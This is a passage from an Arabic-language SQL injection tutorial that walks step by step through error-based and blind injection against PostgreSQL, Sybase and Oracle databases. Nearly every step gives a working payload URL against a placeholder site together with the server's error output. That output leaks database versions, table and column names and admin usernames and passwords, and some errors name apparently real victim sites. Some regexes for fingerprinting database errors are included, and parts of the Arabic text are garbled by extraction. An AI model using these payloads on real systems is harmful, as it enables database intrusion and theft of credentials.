freebsd5.3, compiled by GCC cc (GCC) 3.4.2 [FreeBSD] 20040728123" in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

. PostgreSQL 8.0.1 ‫إصدار قاعدة البيانات هو الـ‬

‫ إستخراج الجداول‬: ‫ثانيا ل‬

‫الستعلم الرمستخدم لذلك‬

and 1=nextval((select table_name from information_schema.+tables limit 1 offset 1))

| ‫| التطبيق العملي‬

www.InjectorBoy.com/article.php?id=1533 and 1=nextval((select table_name from information_schema.+tables limit 1


offset 1))

Warning: pg_query(): Query failed: ERROR: relation "data_type_privileges" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

data_type_privileges : ‫الجدول الول الرمستخرج هو‬


: ‫ كمايلي‬admin ‫ جدول الدمن الرمستهدف هو‬limit ‫وبالتغير في الـ‬

www.InjectorBoy.com/article.php?id=1533 and 1=nextval((select table_name from information_schema.+tables limit 1


offset 56))

Warning: pg_query(): Query failed: ERROR: relation "admins" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

‫ إستخراج العمدة‬: ‫ثالثا ل‬

‫الستعلم الرمستخدم لذلك‬

and 1=nextval((select column_name from information_schema.columns where table_name like chr(0) limit 1 offset
0))

: ‫ من الموقع التالي‬Oracle, PostgreSql and MSAccess concatenation ‫ بالـ‬admins ‫لكن أول ل لرنشفر الجدول‬

http://www.waraxe.us/sql-char-encoder.html
: ‫إذا الجدول الرمشفر هو‬

CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(115)

- ‫لذا لرندمجره مع الستعلم الرمستخدم لستخراج العمدة التالي‬

and 1=nextval((select column_name from information_schema.columns where table_name like chr(0) limit 1 offset
0))

www.InjectorBoy.com/article.php?id=1533 and 1=nextval((select column_name from information_schema.columns


where table_name like CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(115) limit 1 offset 0))

Warning: pg_query(): Query failed: ERROR: relation "id" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

: ‫ لستخراج باقي العمدة‬limit ‫ وبالتغير في الـ‬id ‫العمود الول هو‬

[1] www.InjectorBoy.com/article.php?id=1533 and 1=nextval((select column_name from


information_schema.columns where table_name like CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||
CHR(115) limit 1 offset 2))

Warning: pg_query(): Query failed: ERROR: relation "name" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

[2] www.InjectorBoy.com/article.php?id=1533 and 1=nextval((select column_name from information_schema.columns


where table_name like CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)||CHR(115) limit 1 offset 3))

Warning: pg_query(): Query failed: ERROR: relation "pass" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551

. pass ‫ و‬name ‫ هي‬admin ‫لذا العمدة الرمستخرجة من الجدول‬

‫ إستخراج البيانات النهائية‬: ‫رابعا ل‬

‫الستعلم الرمستخدم لذلك‬

and 1=nextval((select column from table limit 1 offset 0))

: ‫ولضافة العمودين معا ل نستخدم أحد الستعلمات الربع التالية‬

[1] and 1=nextval((select array_agg(column1::chr[58]::column2)::text from table limit 1 offset 1))

[2] and 1=currval((select array_agg(column::chr[58]::column)::text from table limit 1 offset 1))

[3] and 1=make_timestamptz(1,1,1,1,1,1,(select array_agg(column::chr[58]::column)::text from table limit 1 offset 1))

[4] and 1=set_config((select array_agg(column::chr[58]::column)::text from table limit 1 offset 1))


| ‫| التطبيق العملي‬

http://www.InjectorBoy.com/article.php?id=1533 and 1=nextval((select array_agg(name::chr[58]::pass)::text from


admins limit 1 offset 1))

Warning: pg_query(): Query failed: ERROR: relation "pass||ascxz54d" does not exist in
/usr/www/phpe3e5.com/classes/DBHelper.class.php on line 551
‫]‪ � - [ 3‬حقن قواعد ‪ PostgreSql‬العمى | جديد | �‬

‫في هذا الباب الثالث سوف نقوم بتطبيق أسلوب الحقن العمي بقواعد ‪PostgreSql‬‬

‫موقع التطبيق العملي‬

‫‪www.InjectorBoy.com/article.php?id=80‬‬
‫لنبدأ أول ل بالكشف عن إمكانية الصابة‬

‫'‪www.InjectorBoy.com/article.php?id=80‬‬

‫ثانيا ل ‪ :‬إختبار إصدار قاعدة البيانات‬

‫الستعلم الرمستخدم‬

‫)‪AND (SELECT SUBSTR((SELECT version()),1,1))=CHAR(80‬‬

‫)‪www.InjectorBoy.com/article.php?id=80 AND (SELECT SUBSTR((SELECT version()),1,1))=CHAR(80‬‬

‫الرملحظات ‪ :‬الصفحة قامت بالتحميل بصورة طبيعية مما يعني أن الحرف الول للقاعدة بيساوي )‪ Char(80‬والذي ريساوي‬
‫الحرف ‪ p‬أول حروف الكلمة ‪. Postgre‬‬
Current Database's Length ‫ إختبار طول قاعدة البيانات الحالية‬: ‫ثالثا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT LENGTH(current_database()))> 100

www.InjectorBoy.com/article.php?id=80 AND (SELECT LENGTH(current_database()))> 100 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT LENGTH(current_database()))> 50 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT LENGTH(current_database()))> 20 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT LENGTH(current_database()))> 10 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT LENGTH(current_database()))= 9 (‫)ل يوجد خطأ‬

. ‫ تسعة أحروف‬Database's Length ‫ طول قاعدة البيانات الحالية‬: ‫الرملحظات‬


- Current Database's ‫ إستخراج قاعدة البيانات الحالية‬: ‫رابعا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114

/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114 (‫)ل يوجد خطأ‬

/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 115 (‫)خطأ‬


‫)ل يوجد خطأ( ‪/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) = 116‬‬

‫رملحظة ‪ :‬الحرف الصحيح هو الذي يأتي خطأ أمام الرقم الذي ريساوي حرفه ول يأتي خطأ أمام الرقم الذي ياسبقره ول الذي ياليه ‪ ,‬فكما‬
‫لحظنا بالمثال السابق عند الرقم مائة وخمسة عشر والذي ريساوي القيمة الحرفية ‪ S‬ظهر خطأ وعند الرقم مائة وأربعة عشر الذي يسبقة‬
‫لم يظهر خطأ وعند الرقم مائة وستة عشر الذي ياليه لم يظهر خطأ ‪ ,‬وذلك يعني أن الحرف الول للقاعدة هو الحرف ‪. S‬‬

‫لتحصيل الحرف الثاني سوف نقوم بتغير القيمة الرقمية واحد إلي القيمة الرقمية إثنين للدلله علي الحرف الثاني من الكلمة‬

‫‪[1] AND (SELECT ascii(SUBSTR((SELECT current_database()),1,1))) > 114‬‬

‫‪[2] AND (SELECT ascii(SUBSTR((SELECT current_database()),2,1))) > 114‬‬

‫وعلى النحو السابق من الختبار جائت حروف قاعدة البيانت ذات الطول الحرف سبعه كالتالي ‪:‬‬

‫‪current_database()),2,1))) = 105 (Error) 2nd character 105 = I‬‬

‫‪current_database()),3,1))) = 115 (Error) 3rd character 115 = s‬‬

‫_ = ‪current_database()),4,1))) = 95 (Error) 4th character 95‬‬

‫‪current_database()),5,1))) = 114 (Error) 5th character 114 = r‬‬

‫‪current_database()),6,1))) = 101 (Error) 6th character 101 = e‬‬

‫‪current_database()),7,1))) = 103 (Error) 7th character 103 = g‬‬

‫إسم قاعدة البيانات ‪sis_reg‬‬


‫ولتأركد من أن هذا السم هو السم الصحيح لقاعدة البيانات سوف نقوم بالختبار التالي ‪:‬‬

‫||)‪www.InjectorBoy.com/article.php?id=80 AND (SELECT current_database()) = (SELECT CHR(115)||CHR(105‬‬


‫))‪CHR(115)||CHR(95)||CHR(114)||CHR(101)||CHR(103‬‬

‫قامت الصفحة بالتحميل بصورة صحيحة مما دل على صحة إسم قاعدة البيانات ‪.‬‬

‫ولكن في غالب الحيان ل نجد الجداول الرمستهدفة الرئيسية بالـ ‪ current_database‬لذا وقتها لنتبع السلوب التالي ‪-‬‬
- ‫ بالموقع‬Database ‫كلي لقواعد البيانات‬
‫ الكشف عن العدد ال ر‬: ‫خامسا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 1),1,1)))>0

‫ لمعرفة العدد ال ر‬LIMIT 1 OFFSET 1 ‫لنقوم بالتغير في العدد الرقمي لـ‬


‫كلي لقواعد البيانات‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 15),1,1)))>0 (‫)ل يوجد خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 16),1,1)))>0 (‫)ل يوجد خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 17),1,1)))>0 (‫)ل يوجد خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 18),1,1)))>0 (‫)خطأ‬

‫ العدد ال ر‬: ‫الرملحظات‬


‫ هي ثمانية عشر قاعدة‬database ‫كلي لـ‬

- ‫ إستخراج إسم قاعدة البيانات صاحبة الرقم واحد‬: ‫سادسا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database LIMIT 1 OFFSET 0),1,1)))>90

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),1,1)))>1 (‫)ل يوجد خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),1,1)))>90 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),1,1)))=100 (‫)ل يوجد خطأ‬

‫ لذا‬d ‫ وهو الحرف‬pg_database ‫ الذي سوف نجدهر داخل الـ‬database name ‫بالمثال أعله رنحاول إستخراج الحرف الول من أول‬
- ‫لنستخرج الحرف التالي‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),2,1)))>1 (‫)ل يوجد خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),2,1)))>90 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),2,1)))=100 (‫)ل يوجد خطأ‬
- ‫ لذا لنستخرج الحرف الثالث‬d ‫الحرف الثاني أيضا ل هو حرف الـ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT datname FROM pg_database


LIMIT 1 OFFSET 0),3,1)))>1 (‫)خطأ‬

- ‫حدث خطأ عند الرقم واحد مما يعني أنه ليس رهناك من حرف ثالث وهما حرفان فقط‬

1st character 100 = d


2nd character 100 = d

dd ‫لنتأكد من أن السم الصحيح لقاعدة البيانات الولي هو فعل ل‬

‫الستعلم الرمستخدم التالي لكتشاف الطول الرقم‬

AND (SELECT (LENGTH((SELECT datname FROM pg_database LIMIT 1 OFFSET 0))))=2

www.InjectorBoy.com/article.php?id=80 AND (SELECT (LENGTH((SELECT datname FROM pg_database LIMIT 1


OFFSET 0))))=2 (‫)ل يوجد خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT (LENGTH((SELECT datname FROM pg_database LIMIT 1


OFFSET 0))))=3 (‫)خطأ‬

current_database ‫جعنا إلي العمل الول مع القاعدة‬


‫لنرجع مر ر‬
‫ الرمستخرجة في أول الفصل‬sis_reg ‫ إستخراج الجداول من قاعدة البيانات‬: ‫سابعا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET


0),1,1)))>120

: ‫فإن لن يعمل بصورة صحيحة نستخدم بدل ل منه الستعلم التالي‬

AND (SELECT ascii(SUBSTR((SELECT table_name FROM information_schema.tables WHERE


table_schema=current_schema() LIMIT 1 OFFSET 0),1,1)))>0

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT table_name FROM


information_schema.tables LIMIT 1 OFFSET 0),1,1)))>120 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT table_name FROM


information_schema.tables LIMIT 1 OFFSET 0),1,1)))=118 (‫)ل يوجد خطأ‬

views : ‫وبنفس الطريقة السابقة الرمستخدمة الجدول الول هو‬

schema.tables LIMIT 1 OFFSET 0),1,1))) = 118 (Error) 1nd character 118 = v

schema.tables LIMIT 1 OFFSET 0),2,1))) = 105 (Error) 2nd character 105 = I

schema.tables LIMIT 1 OFFSET 0),3,1))) = 101 (Error) 3rd character 101 = e

schema.tables LIMIT 1 OFFSET 0),4,1))) = 119 (Error) 4th character 119 = w

schema.tables LIMIT 1 OFFSET 0),5,1))) = 115 (Error) 5th character 115 = s


views ‫تمام الجدول الول هو‬
LIMIT 2 OFFSET 0 ‫ إلي‬LIMIT 1 OFFSET 0 ‫ولستخراج الجدول الثاني ما علينا سوى تغير العدد الرقمي بالـ‬

: ‫ إستخراج العمدة من الجدول الرمستخرج سابقا ل‬: ‫ثامنا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT ascii(SUBSTR((SELECT column_name FROM information_schema.columns where


table_name=CHR(118)||CHR(105)||CHR(101)||CHR(119)||CHR(115) LIMIT 1 OFFSET 0),1,1)))>118

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT column_name FROM


information_schema.columns where table_name=CHR(118)||CHR(105)||CHR(101)||CHR(119)||CHR(115) LIMIT 1
OFFSET 0),1,1)))>118 (‫)خطأ‬

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT column_name FROM


information_schema.columns where table_name=CHR(118)||CHR(105)||CHR(101)||CHR(119)||CHR(115) LIMIT 1
OFFSET 0),1,1)))=116 (‫)ل يوجد خطأ‬

: ‫وبنفس الطريقة السابقة الرمستخدمة العمود الول هو‬

CHR(115) LIMIT 1 OFFSET 0),1,1)))>116 (error) 1st character 116 = t

CHR(115) LIMIT 1 OFFSET 0),1,1)))>97 (error) 2nd character 97 = a

CHR(115) LIMIT 1 OFFSET 0),1,1)))>98 (error) 3rd character 98 = b

CHR(115) LIMIT 1 OFFSET 0),1,1)))>108 (error) 4th character 108 = l

CHR(115) LIMIT 1 OFFSET 0),1,1)))>101 (error) 5th character 101 = e

CHR(115) LIMIT 1 OFFSET 0),1,1)))>95 (error) 6th character 95 = _

CHR(115) LIMIT 1 OFFSET 0),1,1)))>99 (error) 7th character 99 = c

CHR(115) LIMIT 1 OFFSET 0),1,1)))>97 (error) 8th character 97 = a

CHR(115) LIMIT 1 OFFSET 0),1,1)))>116 (error) 9th character 116 = t

CHR(115) LIMIT 1 OFFSET 0),1,1)))>97 (error) 10th character 97 = a

CHR(115) LIMIT 1 OFFSET 0),1,1)))>108 (error) 11th character 108 = l

CHR(115) LIMIT 1 OFFSET 0),1,1)))>111 (error) 12th character 111 = o

CHR(115) LIMIT 1 OFFSET 0),1,1)))>103 (error) 13th character 103 = g

table_catalog ‫العمود الول هو‬


‫ إستخراج البيانات النهائية‬: ‫سابعا ل‬

‫الستعلم الرمستخدم‬

AND (SELECT ascii(SUBSTR((SELECT column FROM table LIMIT 1 OFFSET 0),1,1))) > 0

‫ونقوم بإستبدال البيانات المطلوبة الجدول الرمستخرج والعمود الرمستخرج‬

AND (SELECT ascii(SUBSTR((SELECT table_catalog FROM sis_reg LIMIT 1 OFFSET 0),1,1))) > 0

www.InjectorBoy.com/article.php?id=80 AND (SELECT ascii(SUBSTR((SELECT table_catalog FROM sis_reg


LIMIT 1 OFFSET 0),1,1))) > 0 (‫)ل يوجد خطأ‬

‫إلى أخره إنتهى‬

▂ ▃ ▄ ▅ ▆ ▇ █ ‫نهايـــة الفـصــ ل‬ █ ▇ ▆ ▅ ▄ ▃ ▂
‫الفصل التاسع � حقن قواعد سايبيس ‪� Sybase‬‬

‫أصبحت سايبيس ثاني نظام لقواعد البيانات وراء أوراكل‪ ،‬وبعد إجراء صفقة مع مايكروسوفت لتبادل الـ ‪ soucecode‬لكى تستطيع‬
‫مايكروسوفت التسويق على نظام التشغيل ‪ OS 2‬مزود الخدمة في ذلك الوقت‪ ،‬سايبيس سمى خادم قاعدة البيانات " ‪Sybase‬‬
‫‪ ،"SQL Server‬حتى الصدار ‪ ،4.9‬سايبيس ومزود خادم مايكروسوفت كانت متطابقة تقريبا‪ ،‬وبسبب خلفات بين الشركتين حول‬
‫تقاسم العائدات‪ ،‬قررت سايبيس ومايكروسوفت تقسيم الكواد وذهب كل منهما بطريقتها الخاصة‪ ،‬على الرغم من أن التراث المشترك‬
‫واضح جدا للعمليات في )‪ (T - SQL‬إجرائية اللغة فضل عن البنية الساسية العملية‪ .‬الفرق الكبير هو أن سايبيس لديه تراث‬
‫يونكس‪ ،‬في حين أن مايكروسوفت ‪ sql server‬تم تكييفها مع ‪ ""Microsoft Windows NT operating system‬فقط ‪,‬كما‬
‫استأنفت سايبيس تقديم إصدارات لـ"‪ ،"Windows‬وأصناف عدة لـ "‪ "Unix‬ولـ"‪. "Linux‬‬

‫سايبيس عانى من تراجع كبير في ثروته في أواخر ‪ 1990‬عندما بدأت ‪ Informix‬البيع أكثر بهامش كبير‪ ،‬مع ذلك تم الحصول على‬
‫‪ Informix‬من قبل ‪ IBM‬في عام ‪ ،2001‬ولم تعد تنافس كشركة مستقلة‪ ،‬وفى نوفمبر عام ‪ 2005‬يؤرخ الكتاب الذي كتبه موظفو‬
‫‪ Informix‬عن تاريخ المعركة بين سايبيس و ‪ Informix‬منذ وقت طويل ‪.‬‬

‫اعتبارا من عام ‪ 2006‬أوراكل تعد الشركة الرائدة في سوق قواعد البيانات بحصة العائدات‪ ،‬تليها ‪ ،IBM‬ثم مايكروسوفت ‪SQL‬‬
‫‪ ،SERVER‬ثم سايبيس من وراء منافسيها الرئيسيين بـ ‪ %3‬من حصة السوق‪ ،‬الستثمارات المصرفية هي واحدة من أكبر القواعد‬
‫العملء لسايبيس‪ ،‬ول تزال بصمة سايبيس في منشآت البرصة وضبط الجراءات هي أكبر بصة لعى ان سايبيس ل تزال القوى في نظم‬
‫قواعد البيانات ‪.‬‬

‫•◘╚╦☆ لتقنيات الرمتعلمة من هذا الفصل ☆╚╦◘•‬

‫‪ -1‬تعرلم الستعلمات الرمستخدمة بقواعد الـ ‪. Sybase‬‬

‫‪ -2‬معرفة رطرق إكتشاف قاعدة الـ ‪ Sybase‬من الخطأ الناتج ‪.‬‬

‫‪ -6‬معرفة إستعلمات إستخراج البيانات النهائية ‪.‬‬


| ‫| التطبيق العملي للمسئلة‬

www.InjectorBoy.com/index.php?action=media

‫ إختبار الصابة‬: ‫أول ل‬

www.InjectorBoy.com/index.php?action=media'

Warning: sybase_query() [function.sybase-query]: Sybase: Server message: Unclosed quote before the character string
' '. (severity 15, procedure N/A) in /www/InjectorBoy/LFWSmartyPage.php on line 60

- ‫وتوجد هناك أخطاء رمتنوعة رأخري كـ بصمة لكتشاف هذا النوع من القواعد‬

1- "Warning: sybase_query()

2- "(?i)Warning.*sybase.*"

3- "Sybase message"

4- "Sybase.*Server message.*"

Version ‫ إستخراج إصدار قاعدة البيانات‬: ‫ثانيا ل‬

+and+1=convert(integer,((select+@@version)))#

www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,((select+@@version)))#

Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'Adaptive Server
Enterprise/15.0.1/EBF 13819/P/Sun_svr4/OS 5.8/ase1501/2379/64-bit/FBO/Tue Aug 15 04:20:15 2006' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60

Enterprise/15.0.1 ‫إصدار قاعدة البيانات‬

Databases ‫ إستخراج إسم قاعدة البيانات‬: ‫ثالثا ل‬

+and+1=convert(integer,(select+DB_NAME(0)))#

www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+DB_NAME(0)))#

Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'okfarmbureau' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60

okfarmbureau
Tables ‫ إستخراج الجداول‬: ‫رابعا ل‬

+and+1=convert(integer,(select+min(name)+from+okfarmbureau..sysobjects))#

www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name)
+from+okfarmbureau..sysobjects))#

ybase: Server message: Syntax error during explicit conversion of VARCHAR value 'boardMembers' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60

boardMembers

- ‫لتصرفح باقي الجداول‬

‫ بالجدول الةمستخرج‬table ‫' للستعلم بعد إستبدال القيمة‬and name!='table ‫لنفعل ذلك علينا إضافة القيمة‬

+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U' and name!='boardMembers'))--

‫وهكذا عند ركل جدول جديد‬

www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name)+from+sysobjects where
type='U' and name!='boardMembers' and name!='events' and name!='galleries' and name!='galleries_photos' and name!
='gallery' and name!='gallery_photos' and name!='newsletters' and name!='newsletters_new' and name!='newsreleases'
and name!='offices' and name!='publication_import'and name!='publications' and name!='publications_new' and name!
='radio' and name!='satellites' and name!='titles')) #

Columns ‫ إستخراج العمدة من الجداول‬: ‫خامسا ل‬

+and+1=convert(integer,(SELECT+min(name)+FROM+okfarmbureau..syscolu
mns+where+id=(select+id+from+database..sysobjects+where+name='table')))#

‫نقوم بتغير البيانات باللون الحمر بالستعلم أعله بما ريناسب مما إستخرجنا سابقا ل بإسم القاعدة والجدول‬

www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(SELECT+min(name)
+FROM+okfarmbureau..syscolumns+where+id=(select+id+from+okfarmbureau..sysobjects+where+name='boardMem
bers')))#

Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'city' to a INT field. (severity 16,
procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60

- ‫لتصرفح باقي العمدة‬

‫' إلى الستعلم كما فعلنا بعملية تصفح الجداول تماما ل‬and name='column ‫لتصفح باقي العمدة نقوم بإضافة القيمة‬

www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name) from syscolumns where


id=(select id from sysobjects where type='U' and name!='city'))--

Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'gallery' to a INT field. (severity
16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60
www.InjectorBoy.com/index.php?action=media+and+1=convert(integer,(select+min(name) from syscolumns where
id=(select id from sysobjects where type='U' and name!='city' and name='gallery' ))--

Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'blackrose' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60

data ‫ إستخراج البيانات النهائية‬: ‫سادسا ل‬

+and+1=convert(int,(select+top+1+cloumn+from+table))--

‫نقوم بإستبدال البيانات بالبيانات الرمستخرجة سابقا ل الجدول والعمود‬

www.InjectorBoy.com/index.php?action=media+and+1=convert(int,(select+top+1+cloumn+from+table))--

Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'gazahackerteam' to a INT field.
(severity 16, procedure N/A) in /www/okfarmbureau/LFWSmartyPage.php on line 60

▂ ▃ ▄ ▅ ▆ ▇ █ ‫نهايـــة الفـصــ ل‬ █ ▇ ▆ ▅ ▄ ▃ ▂
‫الفصل العاشر � حقن قواعد ‪� Oracle‬‬

‫قاعدة بيانات أوراكل هي قاعدة بيانات كائنية علقاتية ) ‪ ( Object-relational database‬تصدرها و تسوقها شركة أوراكل وهى نظام‬
‫لدارة قواعد البيانات العلئقية ‪ RDBM‬و إدارة معلومات العمل المطلوبة من خلل تحويلها إلى قاعدة بيانات عملية تفيد في‬
‫اتخاذ القرارات ومراقبة أداء العمل وتحسين النتاجية والوصول الى سرعة قصوى فى إنجاز العمال ‪.‬‬

‫أنشأ لري إليسون )‪ (Larry Ellison‬مختبرات تطوير البرمجيات للستشارات في عام ‪ 1977‬برفقة صديقيه )اللذان كانا زميليه في‬
‫العمل سابقا( بوب مينر )‪ (Bob Miner‬و إيد أويتس )‪ (Ed Oates‬و قامت الشركة بتطوير النسخة الولى من برمجية أوراكل ‪.‬‬

‫يأتي السم أوراكل من السم الرمزي لمشروع ممول من وكالة المخابرات المريكية عمل عليه لري إليسون عندما كان موظفا في‬
‫أمبيكس ‪.‬‬
‫•◘╚╦☆ مميزات أوراكل ☆╚╦◘•‬

‫‪ - 1‬سرية المعلومات حيث يتوفر نظام لحماية المعلومات يتفوق من الناحية البنائية على النطمة الخرى للشركات المنافسة ‪- 2 .‬‬
‫التعامل مع حجم كبير من البيانات يصل إلى مليين من الميغا بايت ‪.‬‬
‫‪ - 3‬الدعم الممتاز الذي تقدمه الوراكل للمستخدمين فى جميع أنحاء العالم عن طريق موقعها على النترنت ‪.‬‬
‫‪ - 4‬تعد أقوى أداه في مجال التجارة اللكترونية وذلك بسبب التكامل الكبير مع لغة الجافا ‪.‬‬

‫•◘╚╦☆ وتعتمد أوراكل في برمجتها على ☆╚╦◘•‬

‫‪ - 1‬لغة ‪ SQL - Structured Query Language‬في البرمجة لقواعد بيانات اوراكل ‪ .‬و هى لغة استفسار بنائية ‪.‬‬

‫واللغة ‪ SQL‬هي لغة تدعمها جميع للغات البرمجة سواء ‪ C‬او ‪ VB‬او ‪ Java‬وغيرها ‪,‬ومن خللها تستطيع الوصول إلى البيانات‬
‫المخزنة وإجراء العمليات عليها ) إضافة – تعديل – حذف ( في جداول تم تصميمها من خلل احد التطبيقات التي نستخدمها ‪.‬‬

‫‪ – 2‬لغة ‪ PL/SQL‬فى كتابة البرامج والـ ‪ Functions‬الخاصة فهى لغة الستفسار الجرائية مثل ولها قواعد مثل اي لغة أخرى ‪– 3.‬‬
‫يمكن استدعاء روتينيات ‪ Procedures‬مكتوبة بلغات أخرى مثل ‪. Java – C‬‬

‫☆*•‪ ☆¸.‬الرمحتويات العلمية بالفصل ☆¸‪☆*•.‬‬

‫‪ -1‬حقن قواعد ‪Oracle‬‬

‫‪ -2‬حقن قواعد ‪ oracle‬العمى بإستخدام تقنية ‪DBMS_PIPE.RECEIVE_MESSAGE‬‬


| ‫| التطبيق العملي‬

www.InjectorBoy.md/news.php?id=58

‫إختبار الصابة بالثغرة‬

www.InjectorBoy.md/news.php?id=58'

Warning: oci_parse() [function.oci-parse]: ORA-01756: une chaîne entre apostrophes ne se termine pas correctement in
D:\wamp\www_mediaction\site\cfpb_reseau_france.php on line 14

‫بعض الشكال المنتمية لقاعدة البيانات أوراكل كـ بصمة لها‬

1- Warning: oci_parse() [function.oci-parse]: ORA-01756:

2- "ORA-[0-9][0-9][0-9][0-9]"

3- "Oracle error"

4- "Oracle.*Driver"

5- "Warning.*\Woci_.*"

6- "Warning.*\Wora_.*"

‫ معرفة العدد ال ر‬: ‫أول ل‬


‫كلي للعمدة‬

www.InjectorBoy.md/news.php?id=58 order by 20-- ‫خطأ‬

www.InjectorBoy.md/news.php?id=58 order by 15-- ‫خطأ‬

www.InjectorBoy.md/news.php?id=58 order by 10-- ‫خطأ‬

www.InjectorBoy.md/news.php?id=58 order by 9-- ‫خطأ‬

www.InjectorBoy.md/news.php?id=58 order by 8-- ‫ل يوجد خطأ‬

‫العدد ال ر‬
‫كلي للعمدة ثمانية أعمدة‬
www.InjectorBoy.md/news.php?id=58 union select 1,2,3,4,5,6,7,8--

null ‫ث لم يظهر أي أعمدة مصابة بالصفحة وهذا يتم تخطية بإستبدال الرقم بالقيمة‬
‫حدث خطأ حي ر‬

www.InjectorBoy.md/news.php?id=58 union select null,null,null,null,null,null,null,null--


‫معرفة إصدار قاعدة البيانات‬

www.InjectorBoy.md/news.php?id=58 union select null,null,null,null,null,banner,null,null FROM v$version--

CORE 9.2.0.6.0 Production ‫إصدار قاعدة البيانات‬

‫ إستخراج الجداول‬: ‫ثانيا ل‬

www.InjectorBoy.md/news.php?id=58 union select null,null,null,null,null,table_name,null,null FROM all_tables --

blackrose ‫الجدول‬
‫ إستخراج العمدة‬: ‫ثالثا ل‬

www.InjectorBoy.md/news.php?id=58 union select null,null,null,null,null,column_name,null,null FROM


all_tab_columns WHERE table_name = 'blackrose' limit 1,1 --

gazahacker ‫العمود‬

‫إستخراج العمود الثاني‬

www.InjectorBoy.md/news.php?id=58 union select null,null,null,null,null,column_name,null,null FROM


all_tab_columns WHERE table_name = 'blackrose' limit 2,1--

gazapass ‫العمود الثاني‬


‫ إستخراج البيانات النهائية‬: ‫رابعا ل‬

InjectorBoy.md/news.php?id=58 union select null,null,null,gazahacker,null,gazapass,null,null FROM blackrose--

‫وفي حالة وضع العمودين معا ل بمكان عمود واحد دون إثنين فالنستخدم ذلك الستعلم‬

name||'–'||password
� DBMS_PIPE.RECEIVE_MESSAGE ‫ العمى بإستخدام تقنية‬oracle ‫� حقن قواعد‬

